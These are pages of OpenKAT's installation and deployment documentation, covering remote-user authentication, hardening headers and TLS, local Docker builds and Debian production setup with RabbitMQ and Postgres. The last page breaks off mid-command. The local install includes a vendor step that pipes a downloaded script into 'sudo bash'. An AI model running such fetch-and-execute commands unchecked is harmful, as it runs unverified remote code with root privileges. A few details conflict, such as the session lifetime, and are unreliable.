    "content": "=======================\nExternal authentication\n=======================\n\nOpenKAT supports external authentication using Django's built-in `remote user\nauthentication <https://docs.djangoproject.com/en/4.2/howto/auth-remote-user/>`__.\nMake sure that you read the warning in the Django documentation before you\nconfigure this.\n\nConfiguration of this can be done using two environments variables. The\n``REMOTE_USER_HEADER`` variable specifies the header that has the e-mail address\nthat is used as username in OpenKAT. Setting this variable will also enable the\nremote user backend. The ``REMOTE_USER_DEFAULT_ORGANIZATIONS`` variable is\noptional and is a comma separated list of \"organisation:group\" items and\nconfigures which organisation every remote user get access to by default. The\nvalue of ``REMOTE_USER_DEFAULT_ORGANIZATIONS`` will override any changes made and\nif someone is removed from a group that is listed they will automatically be\nadded back the next time they use OpenKAT using remote user authentication.\n\nExample configuration:\n\n.. code-block:: sh\n\n    REMOTE_USER_HEADER=HTTP_X_EMAIL\n    REMOTE_USER_DEFAULT_ORGANIZATIONS=org1:admin,org2:client\n\nThis will use the value of ``X-Email`` HTTP header as the e-mail address for the\nuser account. Every user will be added to org1 with admin permissions and to org\nwith client permissions.\n\nAn easy solution for configuring single-sign on using OAuth is `oauth2-proxy\n<https://oauth2-proxy.github.io/oauth2-proxy/>`__.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/faq.rst",
    "content": "===\nFAQ\n===\n\nThe FAQ is still a work in progress. Got nice questions, solutions and/or hacks for the FAQ? Please let us know!\n\n\nI cannot login\n**************\nOften the causes are CSRF issues/tokens or cookie issues.\n\nI can login, but I do not see the onboarding as a first time user\n*****************************************************************\nYour account was likely not added to any groups, or has incorrect permissions. Please check with your system administrator, or someone who is in charge of hosting your OpenKAT installation.\n\nI can login, but cannot add any objects\n***************************************\nYour account likely does not have sufficient permissions. Please check with your system administrator.\n\nThe jobs in the scheduler do not run every day\n**********************************************\nTo limit resources and network traffic some boefjes do not run on a daily basis. This does mean that the data can be (somewhat) outdated. You could also try to restart the job runner, if you are the system administrator.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/gitpod.rst",
    "content": "==========================\nTest or develop via GitPod\n==========================\n\nThrough Gitpod, anyone (with a github, gitlab account) can quickly start up and test an OpenKAT environment. Gitpod offers a basic test environment that allows you to build OpenKAT directly from the repository.\n\nGitpod test environment\n=======================\n\nAccess the `Gitpod test environment through this link <https://gitpod.io/#github.com/SSC-ICT-Innovatie/nl-kat-coordination>`_\n\nThe installation will be done from the repo, so you get a fresh install. Add your own account to OpenKAT during the installation process. Once started, the Rocky interface will be available on the service running on port 8000.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/hardening.rst",
    "content": "=============================\nProduction: Hardening OpenKAT\n=============================\n\nHardening is making your environment secure. The default installation of OpenKAT is suitable for local use. If you are installing the software in a production environment, make sure you are running a secure configuration. The following modifications are a first step:\n\nDJANGO_ALLOWED_HOSTS\n====================\n\nDjango uses the ``DJANGO_ALLOWED_HOSTS`` setting to determine which host/domain names it can serve. This is a security measure to prevent HTTP Host header attacks, which are possible even under many seemingly-safe web server configurations.\n\nThe default value for this setting is ``*``, which allows all hosts. You should always set this to the domain and subdomain names that your application uses. For example, if your application is available at ``example.com`` and ``subdomain.example.com``, you should set ``DJANGO_ALLOWED_HOSTS`` to ``example.com,subdomain.example.com`` (comma separated).\n\nSee the `Django ALLOWED_HOSTS documentation`_ for more information. Note that the KAT setting (environment variable) is named ``DJANGO_ALLOWED_HOSTS`` and its values are separated by commas.\n\n.. _Django ALLOWED_HOSTS documentation: https://docs.djangoproject.com/en/4.2/ref/settings/#allowed-hosts\n\nDJANGO_CSRF_TRUSTED_ORIGINS\n===========================\n\nDjango uses the ``DJANGO_CSRF_TRUSTED_ORIGINS`` setting to determine which hosts are trusted origins for unsafe requests (e.g. ``POST``). For requests that include the ``Origin`` header, Django's CSRF protection requires that the origin host be in this list.\n\nThe default value for this setting is empty. You should always set this to your own host names, prefixed with ``https://`` (or ``http://`` for insecure requests). For example, if your application is available at ``example.com`` and ``subdomain.example.com``, you should set ``DJANGO_CSRF_TRUSTED_ORIGINS`` to ``https://example.com,https://subdomain.example.com`` (comma separated).\n\nSee the `Django CSRF_TRUSTED_ORIGINS documentation`_ for more information. Note that the KAT setting (environment variable) is named ``DJANGO_CSRF_TRUSTED_ORIGINS`` and its values are separated by commas.\n\n.. _Django CSRF_TRUSTED_ORIGINS documentation: https://docs.djangoproject.com/en/4.2/ref/settings/#csrf-trusted-origins\n\n\nSESSION_COOKIE_AGE\n==================\n\nRocky is the web interface. It sets cookies for sessions of 1209600 seconds, or 2 weeks. This is quite long and can be adjusted with a new entry in rocky/settings.py.\nSessions are limited to 2 hours based on the default configuration.\n\nSecurity headers\n================\n\nRocky expects a reverse proxy that can handle TLS. This is a good place to set the security headers:\n\n+-------------------------------------------+------------------------------------------+\n| Header\t\t\t\t    | Settings\t\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| X-Frame-Options\t\t\t    | Deny\t\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| X-Content-Type-Options\t\t    | nosniff\t\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Content-Security-Policy\t\t    | default-src 'self'; object-src 'none';   |\n|\t\t\t\t\t    | child-src 'self'; frame-ancestors 'none';|\n|\t\t\t\t\t    | upgrade-insecure-requests; \t       |\n|\t\t\t\t\t    | block-all-mixed-content\t\t       |\n+-------------------------------------------+------------------------------------------+\n| X-Permitted-Cross-Domain-Policies\t    | none\t\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Referrer-Policy\t\t\t    | no-referrer\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Clear-Site-Data\t\t\t    | \"cache\",\"cookies\",\"storage\" (Opt. bij    |\n|\t\t\t\t\t    | reverse NGINX proxies, \"cookies\" weglaten|\n+-------------------------------------------+------------------------------------------+\n| Cross-Origin-Embedder-Policy (COEP)\t    | require-corp\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Cross-Origin-Opener-Policy (COOP)\t    | same-origin\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Cross-Origin-Resource-Policy (CORP)\t    | same-origin\t\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Permissions-Policy\t\t\t    | accelerometer=(),autoplay=(),camera=(),  |\n|\t\t\t\t\t    | display-capture=(),document-domain=(),   |\n|\t\t\t\t\t    | encrypted-media=(),fullscreen=(),        |\n|\t\t\t\t\t    | geolocation=(), gyroscope=(), \t       |\n|\t\t\t\t\t    | magnetometer=(), microphone=(), midi=(), |\n|\t\t\t\t\t    | payment=(), picture-in-picture=(),       |\n| \t\t\t\t\t    | publickey-credentials-get=(),            |\n|\t\t\t\t\t    | screen-wake-lock=(),sync-xhr=(self),     |\n|\t\t\t\t\t    | usb=(),web-share=(),\t\t       |\n|\t\t\t\t\t    | xr-spatial-tracking=()\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Cache-Control\t\t\t\t    | no-store, max-age=0\t\t       |\n+-------------------------------------------+------------------------------------------+\n| Expect-CT\t\t\t\t    | max-age=86400, enforce\t\t       |\n+-------------------------------------------+------------------------------------------+\n\nSSL/TLS on nginx\n================\n\nUse the following versions and settings for SSL/TLS on nginx:\n\n- ssl_protocols TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE\n- ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384;\n- ssl_ecdh_curve secp384r1; # Requires nginx >= 1.1.0\n- ssl_session_tickets off; # Requires nginx >= 1.5.9\n- ssl_stapling on; # Requires nginx >= 1.3.7\n- ssl_stapling_verify on; # Requires nginx => 1.3.7\n- ssl_prefer_server_ciphers on;\n- ssl_session_timeout 10m;\n- ssl_session_cache shared:SSL:10m;\n\nOptional use of HSTS, including for subdomains.\n\n``add_header Strict-Transport-Security \"max-age=31104000;\" always;``\n\nObscuring errors to the clients\n===============================\n\nBy default, errors in OpenKAT are visible to the user. The reverse proxy can restrict this and return a generic error message.\n\n``proxy_intercept_errors on;\nerror_page 500 502 503 504 /error.html;``\n\nIn addition, it makes sense to prevent the proxy itself from sending its version along with each response:\n\n``server_tokens off;``\n\nWeb Application Firewall\n========================\n\nInstalling KAT (rocky) behind a WAF provides an additional layer of security. Modsecurity, which is part of the reverse proxy, can be used for this purpose. More information can be found on the project's Github page:\n\n- https://github.com/SpiderLabs/ModSecurity\n- https://github.com/SpiderLabs/ModSecurity-nginx\n\nContinue reading\n================\n\nMuch more information is available on this topic. When applying OpenKAT in a production environment, the following links offer a first step:\n\n- https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/web_application_security\n- https://owasp.org/www-project-secure-headers/\n- https://docs.djangoproject.com/en/4.0/topics/security/\n"
  },
  {
    "path": "docs/source/installation-and-deployment/index.rst",
    "content": "Installation and deployment\n###########################\n\nContains documentation for developers and contributors.\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   install\n   production-docker-environment\n   separate-boefje-workers\n   production-debian-environment\n   developer-environment\n   scripts\n   hardening\n   local-install\n   windows-install\n   gitpod\n   adding-proxy-to-openkat\n   s3-buckets\n   debugging-troubleshooting\n   events-and-logging\n   environment-settings/index\n   external-authentication\n   cveapi\n   users-and-organizations\n   faq\n"
  },
  {
    "path": "docs/source/installation-and-deployment/install.rst",
    "content": "=========================\nHow do I install OpenKAT?\n=========================\n\nOpenKAT can be installed in a number of ways. You can use OpenKAT in a way that suits your situation. For developers and for introductory purposes, there is a local installation. For production application there are debian packages that are automatically built from each release or pre-built docker containers. Also there is community work on kubernetes and nomad scripts. At VWS, OpenKAT is installed based on ansible script. Use the hardening guide for a production install.\n\nProduction environments\n=======================\n\nPre-built Docker images\n***********************\n\nThe pre-built docker images can be used for production installations of OpenKAT and can be found on the Github Container Registry. The deployment manual based on the pre-built docker images is included in this manual. A kubernetes script is being worked on for automatic deploy.\n\nDebian packages\n***************\n\nThe Debian packages can be used for production installations of OpenKAT and are available as artifacts from the Github actions in the repository of each module. How to install them is explained in the manual. A repository to enable ``apt install kat`` is under construction. The packages cannot easily be converted to RPM's, for this we do not have a solution yet.\n\nAlternative installs\n====================\nThe following alternative installs are possible for OpenKAT. These are community contributions and are thus not maintained by OpenKAT.\n\nKubernetes\n**********\nThe Kubernetes files can be found at `https://gitlab.com/digilab.overheid.nl/platform/helm-charts/openkat/ <https://gitlab.com/digilab.overheid.nl/platform/helm-charts/openkat/>`_.\n\nAnsible\n*******\nThe Ansible files can be found at `https://github.com/sigio/openkat-ansible <https://github.com/sigio/openkat-ansible>`_.\n\n\nDevelopment environment\n=======================\n\nmake kat\n********\n\nThe 'developer option' or local install of OpenKAT builds the system from the source using ``make kat``. The manual for this install explains how to set up your computer for an install of OpenKAT.\n\nMinimum requirements\n====================\n\nOpenKAT can run from a single computer or VM, but this limits the functionality in the long run. The starting point for a development setup would include about 25 GB of diskspace, 4GB of RAM and 2 cores. Diskspace is mostly used by the databases and some logging. More of everything is more fun.\n\nExample infrastructure\n======================\n\nA larger installation of KAT can scale both horizontally and vertically. The setup depends on your own preferences. We do not have an estimate for your hardware planning, but most work is done by Mula and Octopoes.\n\nAn example is shown in the diagram below. OpenKAT runs behind a proxy with firewalls, with Rocky accessible as the front end. From rocky, a second proxy connects to OpenKAT's components. Most components can be duplicated to distribute load and ensure availability. The arrows in the drawing indicate the direction in which the connections are initiated.\n\n.. image:: img/infraopenkat.png\n  :alt: Infra example of OpenKAT\n\nAt the backend, a management interface can be added, adapted to the situation where OpenKAT is used. Each module has a healthpoint for monitoring.\n\nBackups are particularly relevant for the raw data in Bytes and the userdata, possibly for speed the objects in Octopoes. Based on Bytes and the userdata, the system can in principle be redeployed and restored.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/installation-options",
    "content": ""
  },
  {
    "path": "docs/source/installation-and-deployment/local-install.rst",
    "content": "=====================\nDevelopment: make kat\n=====================\n\n**Important:** The version of OpenKAT you are about to install is a **development environment**, which is used by the developers to build OpenKAT. This is not a version that would be used in a production environment, and it requires some knowledge about Linux, compiling software, and Docker.\n\nmake kat\n========\n\nInstall OpenKAT on your own machine with ``make kat``. If you want to deploy OpenKAT in a production environment use the hardening settings as well.\n\nRequirements\n------------\n\nYou need the following things to install OpenKAT:\n\n- A computer with a Linux installation. In this document we use Ubuntu, but on many other distributions it works in a similar way. Later we will also add instructions for macOS.\n- Docker. If you don't already have this, install it first.\n- OpenKAT's `GitHub repository <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/>`_.\n\nBefore installing\n-----------------\n\nInstall Docker\n**************\n\nOpenKAT is installed in Docker, and therefore Docker must be installed first. The preferred method of installation is through a repository. However, OpenKAT requires a newer version of Docker than what is available in the default ubuntu and debian repositories. That is why you should always use Docker's repository.\n\nOn the `Docker Engine installation overview <https://docs.docker.com/engine/install/>`_ page you can find links to installation pages for all major Linux distributions. For a specific example using the Docker repository on Debian, see `Debian install using the repository <https://docs.docker.com/engine/install/debian/#install-using-the-repository>`_. The installation pages for the other Linux distributions contain similar instructions.\n\n**Important:** Please follow the post-installation steps as well! You can find them here: `Docker Engine post-installation steps <https://docs.docker.com/engine/install/linux-postinstall/>`_.\n\nInstall dependencies\n********************\n\nDependencies are packages required for OpenKAT to work. Run the following commands to install them:\n\n*Debian based systems:*\n\n\n.. code-block:: sh\n\n\t$ curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -\n\t$ sudo apt-get install -y nodejs gcc g++ make python3-pip\n\t$ curl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | sudo tee /usr/share/keyrings/yarnkey.gpg >/dev/null\n\t$ echo \"deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main\" | sudo tee /etc/apt/sources.list.d/yarn.list\n\t$ sudo apt-get update && sudo apt-get install yarn\n\nAfter installing Docker from the Docker repository it might be necessary to create a symlink for the command `docker-compose` as the latest version now uses a space instead of a dash. You can do this with the following command:\n\n.. code-block:: sh\n\n\t$ ln -s /usr/libexec/docker/cli/plugins/compose /usr/bin/docker-compose\n\n*RHEL based systems:*\n\n.. code-block:: sh\n\n    $ sudo dnf install openssl -y\n    $ sudo dnf install https://rpm.nodesource.com/pub_18.x/nodistro/repo/nodesource-release-nodistro-1.noarch.rpm -y\n    $ sudo dnf install nodejs -y --setopt=nodesource-nodejs.module_hotfixes=1\n    $ sudo dnf install -y nodejs gcc g++ make python3-pip docker-compose\n    $ curl --silent --location https://dl.yarnpkg.com/rpm/yarn.repo | sudo tee /etc/yum.repos.d/yarn.repo\n    $ sudo dnf install yarn -y\n\nGetting Started\n---------------\n\nNow the installation of OpenKAT can begin. We do this via git.\n\nDefault installation\n*********************\n\n- Clone the repository:\n\n.. code-block:: sh\n\n\t$ git clone https://github.com/SSC-ICT-Innovatie/nl-kat-coordination.git\n\n- Go to the folder:\n\n.. code-block:: sh\n\n\t$ cd nl-kat-coordination\n\n- Make KAT:\n\n.. code-block:: sh\n\n\t$ make env\n\t$ make kat\n\nCurrently, the ``make kat`` command only works for the first user on a ``*nix`` system. This is a known problem which will be solved soon. The current user must be user 1000. You can check this by executing `id`.\n\nIn some cases this may not work because Docker does not yet know your user name. You solve this with the following commands, entering your user name instead of $USER:\n\n.. code-block:: sh\n\n\t$ sudo gpasswd -a $USER docker\n\t$ newgrp docker\n\nThen OpenKAT is built, including all the parts such as Octopoes and Rocky.\n\nFront end\n*********\n\nFind the frontend of your OpenKAT install at port 8000 (http) of your localhost and follow the 'onboarding flow' to test your setup and start using your development setup of OpenKAT.\n\nBy default a superuser account is created with email address ``superuser@localhost``. The password can be found as ``DJANGO_SUPERUSER_PASSWORD`` in the .env file.\n\nUsing http works only when connecting to localhost due to the security flags on the session and xsrf cookies. Localhost is whitelisted to allow secure cookies over an insecure connection. Connecting to any other IP over http results in these cookies being disregarded, resulting in XSRF warnings when logging in.\n\nSpecific builds\n***************\n\nIf you want to create a specific build, you have a number of options. You can also look in the `Makefile <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/Makefile>`_.\n\nUpdates\n-------\n\nUpdating an existing installation can be done with the ``make update``.\n\nGo to the directory containing openkat:\n\n.. code-block:: sh\n\n\t$ cd nl-kat-coordination\n\t$ make update\n\nClean reinstallation\n--------------------\n\nIf you to start over with a clean slate, you can do so with the following commands:\n\n.. code-block:: sh\n\n\t$ cd nl-kat-coordination\n\t$ make reset\n\nThis removes all Docker containers and volumes, and then brings up the containers again.\n\nOptionally, first remove the ``.env`` file (``rm .env``) before running ``make env`` and ``make reset`` to also reset all configuration in environment variables. This should also resolve issues such as database authentication errors (``password authentication failed``).\n\nObservability\n=============\n\nOpenTelemetry\n-------------\n\nOpenTelemetry is a way to trace requests through the system. It is used to find out where a request is going wrong and to instrument performance problems. OpenTelemetry is not enabled by default, but can be enabled by uncommenting the environment variable ``SPAN_EXPORT_GRPC_ENDPOINT`` in the ``.env`` file.\n\nJaeger: Distributed Tracing\n---------------------------\n\nThe `Jaeger <https://www.jaegertracing.io>`_ tracing system is used to view the traces. It can be enabled by enabling the `Docker Compose profile <https://docs.docker.com/compose/profiles/#enable-profiles>`_, for example by running ``docker-compose --profile jaeger up -d`` or using ``export COMPOSE_PROFILES=jaeger`` and then running Make as usual. The Jaeger UI can then be found at http://localhost:16686.\n\nPyroscope: Continuous Profiling\n-------------------------------\n\nPyroscope is a continuous profiling tool that helps you understand the performance of your applications. It collects and visualizes profiling data, allowing you to identify performance bottlenecks and optimize resource usage. You'll be able to see how much CPU time is spent in different parts of your code, which functions are taking the most time, and how memory is being used over time.\n\n1. Start openkat\n2. ``docker compose --profile monitoring up -d``\n3. Check http://localhost:4040/ for pyroscope to see if it is working\n4. Check http://localhost:4000/a/grafana-pyroscope-app/explore to see if it is working\n"
  },
  {
    "path": "docs/source/installation-and-deployment/production-debian-environment.rst",
    "content": ".. _debian-install:\n\n===========================\nProduction: Debian packages\n===========================\n\nOpenKAT has Debian packages available. In the near future we will have an apt\nrepository that will allow you to keep your installation up-to-date using apt.\nAn installation of KAT can be done on a single machine or spread out on several\nmachines for a high availability setup. This guide will take you through the\nsteps for installing it on a single machine. There are also :doc:`/installation-and-deployment/scripts`\navailable if you don't want to do this by hand.\n\nSupported distributions\n=======================\n\nWe provide Debian packages for Debian and Ubuntu. We support only Debian stable\nand Ubuntu LTS releases and stop supporting the previous version 6 months after\nthe release. Currently this means we support Debian 11 (bullseye) and 12\n(bookworm) and Ubuntu 22.04. Debian 12 has been released on 10th of June so we\nwill stop providing packages for Debian 11 in December 2023. After Ubuntu 24.04\nis released we will provide Ubuntu 22.02 packages until October 2024.\n\nPrerequisites\n=============\n\nWe will be using ``sudo`` in this guide, so make sure you have ``sudo`` installed on\nyour system.\n\nThe packages are built with Ubuntu 22.04 and Debian 11 in mind.\nThey may or may not work on other versions or distributions.\n\nDownloading and installing\n==========================\n\nDownload the packages for all the components of KAT from `GitHub\n<https://github.com/minvws/nl-kat-coordination/releases/latest>`__. Also download the XTDB\nmultinode package from `GitHub\n<https://github.com/dekkers/xtdb-http-multinode/releases/latest>`__.\n\nAfter downloading they can be installed as follows:\n\n.. code-block:: sh\n\n    tar zvxf kat-*.tar.gz\n    sudo apt install --no-install-recommends ./kat-*_amd64.deb ./xtdb-http-multinode_*_all.deb\n\nSet up RabbitMQ\n===============\n\nInstallation\n------------\n\nUse the following steps to set up RabbitMQ and allow kat to use it.\n\nStart by installing RabbitMQ:\n\n.. code-block:: sh\n\n    sudo apt install rabbitmq-server\n\nBy default RabbitMQ will listen on all interfaces. For a single node setup this is not what we want.\nTo prevent RabbitMQ from being accessed from the internet add the following lines to ``/etc/rabbitmq/rabbitmq-env.conf``:\n\n.. code-block:: sh\n\n    export ERL_EPMD_ADDRESS=127.0.0.1\n    export NODENAME=rabbit@localhost\n\nStop RabbitMQ and epmd:\n\n.. code-block:: sh\n\n    sudo systemctl stop rabbitmq-server\n    sudo epmd -kill\n\nCreate a new file ``/etc/rabbitmq/rabbitmq.conf`` and add the following lines:\n\n.. code-block:: unixconfig\n\n    listeners.tcp.local = 127.0.0.1:5672\n\nCreate a new file ``/etc/rabbitmq/advanced.conf`` and add the following lines:\n\n.. code-block:: erlang\n\n    [\n        {kernel,[\n            {inet_dist_use_interface,{127,0,0,1}}\n        ]}\n    ].\n\nNow start RabbitMQ again and check if it only listens on localhost for ports 5672 and 25672:\n\n.. code-block:: sh\n\n    systemctl start rabbitmq-server\n\nAdd the 'kat' vhost\n-------------------\n\nGenerate a safe password for the KAT user in rabbitmq. You can use the /dev/urandom method again and put it in a shell variable to use it later:\n\n.. code-block:: sh\n\n    rabbitmq_pass=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\n\nNow create a KAT user for RabbitMQ, create the virtual host and set the permissions:\n\n.. code-block:: sh\n\n    sudo rabbitmqctl add_user kat ${rabbitmq_pass}\n    sudo rabbitmqctl add_vhost kat\n    sudo rabbitmqctl set_permissions -p \"kat\" \"kat\" \".*\" \".*\" \".*\"\n\nNow configure KAT to use the vhost we created and with the kat user. To do this, update ``QUEUE_URI`` in the following files:\n\n * ``/etc/kat/mula.conf``\n * ``/etc/kat/rocky.conf``\n * ``/etc/kat/bytes.conf``\n * ``/etc/kat/boefjes.conf``\n * ``/etc/kat/octopoes.conf``\n\n.. code-block:: sh\n\n    QUEUE_URI=amqp://kat:<password>@127.0.0.1:5672/kat\n\nOr use this command to do it for you:\n\n.. code-block:: sh\n\n    sudo sed -i \"s|QUEUE_URI= *\\$|QUEUE_URI=amqp://kat:${rabbitmq_pass}@127.0.0.1:5672/kat|\" /etc/kat/*.conf\n\nSet up the databases\n====================\n\nOpenKAT needs three databases for its components. One for rocky, KAT-alogus and bytes. The following steps will guide you through the creation of these databases.\n\nIf you will be running the database on the same machine as KAT, you can install Postgres:\n\n.. code-block:: sh\n\n    sudo apt install postgresql\n\nRocky DB\n--------\n\nGenerate a secure password for the Rocky database user, as an example we'll use ``/dev/urandom``:\n\n.. code-block:: sh\n\n    echo $(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\n\nTo configure rocky to use this password, open ``/etc/kat/rocky.conf`` and fill in this password for ``ROCKY_DB_PASSWORD``.\n\nCreate the database and user for Rocky in Postgres:\n\n.. code-block:: sh\n\n    sudo -u postgres createdb rocky_db\n    sudo -u postgres createuser rocky -P\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO rocky;' rocky_db\n\nNow use rocky-cli to initialize the database:\n\n.. code-block:: sh\n\n    sudo -u kat rocky-cli migrate\n    sudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\n\nThe steps for creating the other databases will be similar, but we'll explain them anyway for completeness.\n\nKAT-alogus DB\n-------------\n\nGenerate a unique secure password for the KAT-alogus database user. You can use the same method we used for generating the Rocky database user password.\n\nInsert this password into the connection string for the KAT-alogus DB in ``/etc/kat/boefjes.conf``. For example:\n\n.. code-block:: sh\n\n    KATALOGUS_DB_URI=postgresql://katalogus:<password>@localhost/katalogus_db\n\nCreate a new database and user for KAT-alogus:\n\n.. code-block:: sh\n\n    sudo -u postgres createdb katalogus_db\n    sudo -u postgres createuser katalogus -P\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO katalogus;' katalogus_db\n\nInitialize the database using the update-katalogus-db tool:\n\n.. code-block:: sh\n\n    sudo -u kat update-katalogus-db\n\nBytes DB\n--------\n\nGenerate a unique password for the Bytes database user. Insert this password\ninto the connection string for the Bytes DB in ``/etc/kat/bytes.conf``. For\nexample:\n\n.. code-block:: sh\n\n    BYTES_DB_URI=postgresql://bytes:<password>@localhost/bytes_db\n\nCreate a new database and user for Bytes:\n\n.. code-block:: sh\n\n    sudo -u postgres createdb bytes_db\n    sudo -u postgres createuser bytes -P\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO bytes;' bytes_db\n\nInitialize the Bytes database:\n\n.. code-block:: sh\n\n    sudo -u kat update-bytes-db\n\nMula DB\n--------\n\nGenerate a unique password for the Mula database user. Insert this password into\nthe connection string for the Mula DB in ``/etc/kat/mula.conf``. For example:\n\n.. code-block:: sh\n\n    SCHEDULER_DB_URI=postgresql://mula:<password>@localhost/mula_db\n\nCreate a new database and user for Mula:\n\n.. code-block:: sh\n\n    sudo -u postgres createdb mula_db\n    sudo -u postgres createuser mula -P\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO mula;' mula_db\n\nInitialize the Mula database:\n\n.. code-block:: sh\n\n    sudo -u kat update-mula-db\n\nCreate Rocky superuser and set up default groups and permissions\n================================================================\n\nCreate an admin user for OpenKAT\n\n.. code-block:: sh\n\n    sudo -u kat rocky-cli createsuperuser\n\nCreate the default groups and permissions for KAT:\n\n.. code-block:: sh\n\n    sudo -u kat rocky-cli setup_dev_account\n\nConfigure Bytes credentials\n===========================\n\ncopy the value of ``BYTES_PASSWORD`` in ``/etc/kat/bytes.conf`` to the setting with the same name in the following files:\n\n- ``/etc/kat/rocky.conf``\n- ``/etc/kat/boefjes.conf``\n- ``/etc/kat/mula.conf``\n\nThis oneliner will do it for you, executed as root:\n\n.. code-block:: sh\n\n    sudo sed -i \"s/BYTES_PASSWORD= *\\$/BYTES_PASSWORD=$(grep BYTES_PASSWORD /etc/kat/bytes.conf | awk -F'=' '{ print $2 }')/\" /etc/kat/*.conf\n\nConfigure hostname in Rocky\n===========================\n\nThe ``DJANGO_ALLOWED_HOSTS`` and ``DJANGO_CSRF_TRUSTED_ORIGINS`` variables in\n``/etc/kat/rocky.conf`` need to be configured with the hostname (or hostnames separated by commas) that will be used\nto access OpenKAT. If ``openkat.example.org`` is used to access OpenKAT the\nconfiguration should be:\n\n.. code-block:: sh\n\n    DJANGO_ALLOWED_HOSTS=\"openkat.example.org\"\n    DJANGO_CSRF_TRUSTED_ORIGINS=\"https://openkat.example.org\"\n\nRestart KAT\n===========\n\nAfter finishing these steps, you should restart KAT to load the new configuration:\n\n.. code-block:: sh\n\n    sudo systemctl restart kat-rocky kat-rocky-worker kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\nStart KAT on system boot\n========================\n\nTo start KAT when the system boots, enable all KAT services:\n\n.. code-block:: sh\n\n    sudo systemctl enable kat-rocky kat-rocky-worker kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n.. _debian_prod_configure_reverse_proxy:\n\nConfigure reverse proxy\n=======================\n\nOpenKAT listens on 127.0.0.1 port 8000 by default. We recommend that you access\nOpenKAT through a reverse proxy. If you already have a reverse proxy on a\ndifferent host then you need to change ``GRANIAN_HOST`` in rocky.conf to be able\nto access OpenKAT from the reverse proxy:\n\n.. code-block:: sh\n\n    GRANIAN_HOST=0.0.0.0\n\nIf you want to use https between the reverse proxy and OpenKAT you can do that\nby setting also setting ``GRANIAN_PORT``, ``GRANIAN_SSL_KEYFILE`` and\n``GRANIAN_SSL_CERTIFICATE`` in rocky.conf:\n\n.. code-block:: sh\n\n    GRANIAN_HOST=0.0.0.0\n    GRANIAN_PORT=8443\n    GRANIAN_SSL_KEYFILE=/path/to/key\n    GRANIAN_SSL_CERTIFICATE=/path/to/cert\n\nSee also the `Granian documentation\n<https://github.com/emmett-framework/granian/blob/master/README.md>`_ for more\ninformation.\n\nIf you aren't already running a reverse proxy, we recommend installing Caddy:\n\n.. code-block:: sh\n\n    apt install caddy\n\nCaddy is a webserver written in Go that can automatically request letsencrypt\ncertificates or generate its own Certificate Authority and certificates. If you\nwant to have OpenKAT be available on 192.0.2.1 using certificates generated by\nCaddy you can create the following configuration in ``/etc/caddy/Caddyfile``:\n\n.. code-block::\n\n    192.0.2.1 {\n        header Strict-Transport-Security max-age=31536000;\n        reverse_proxy 127.0.0.1:8000\n    }\n\nThe CA certificate Caddy creates can be found in\n``/usr/local/share/ca-certificates``. If you want to have OpenKAT available on\nexample.com using letsencrypt certificates, make sure that example.com points to\nyour server and configure the following in ``/etc/caddy/Caddyfile``:\n\n.. code-block::\n\n    example.com {\n        header Strict-Transport-Security max-age=31536000;\n        reverse_proxy 127.0.0.1:8000\n    }\n\nThis will use http ACME challenge by default but can also be configured to use\nthe DNS challenge. For more information see the `Caddy documentation\n<https://caddyserver.com/docs/automatic-https>`_.\n\nNote that we don't recommend exposing OpenKAT directly to the internet and\nrecommend that you make sure only authorised persons can access OpenKAT.\n\n\nStart using OpenKAT\n===================\n\nBy default OpenKAT will be accessible in your browser through ``https://<server IP>:8443`` (http://<server IP>:8000 for docker based installs). There, Rocky will take you through the steps of setting up your account and running your first boefjes.\n\n.. _Upgrading Debian:\n\nUpgrading OpenKAT\n=================\n\nYou can upgrade OpenKAT by installing the newer packages. Make a backup of your files, download the packages and remove the old ones if needed:\n\n.. code-block:: sh\n\n    tar zvxf kat-*.tar.gz\n    sudo apt install --no-install-recommends ./kat-*_amd64.deb\n\nIf a newer version of the xtdb multinode is available install it as well:\n\n.. code-block:: sh\n\n    apt install --no-install-recommends ./xtdb-http-multinode_*_all.deb\n\nAfter installation you need to run the database migrations and load fixture again. For Rocky DB:\n\n.. code-block:: sh\n\n    sudo -u kat rocky-cli migrate\n    sudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\n\nWhen running \"sudo -u kat rocky-cli migrate\" you might get the warning \"Your models in app(s): 'password_history', 'two_factor' have changes that are not yet reflected in a migration, and so won't be applied.\" This can be ignored.\n\nFor KAT-alogus DB\n\n.. code-block:: sh\n\n    sudo -u kat update-katalogus-db\n\nFor Bytes DB:\n\n.. code-block:: sh\n\n    sudo -u kat update-bytes-db\n\nFor Mula DB:\n\n.. 